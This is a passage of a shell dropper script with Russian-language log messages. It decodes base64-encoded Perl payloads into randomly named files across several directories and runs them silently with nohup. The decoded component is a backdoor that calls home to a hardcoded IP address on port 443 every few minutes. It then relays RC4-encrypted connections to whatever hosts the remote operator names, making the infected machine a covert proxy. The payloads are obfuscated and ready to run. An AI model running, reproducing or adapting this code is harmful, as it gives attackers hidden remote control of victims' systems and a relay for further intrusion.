eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #54 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #54 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 55 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk 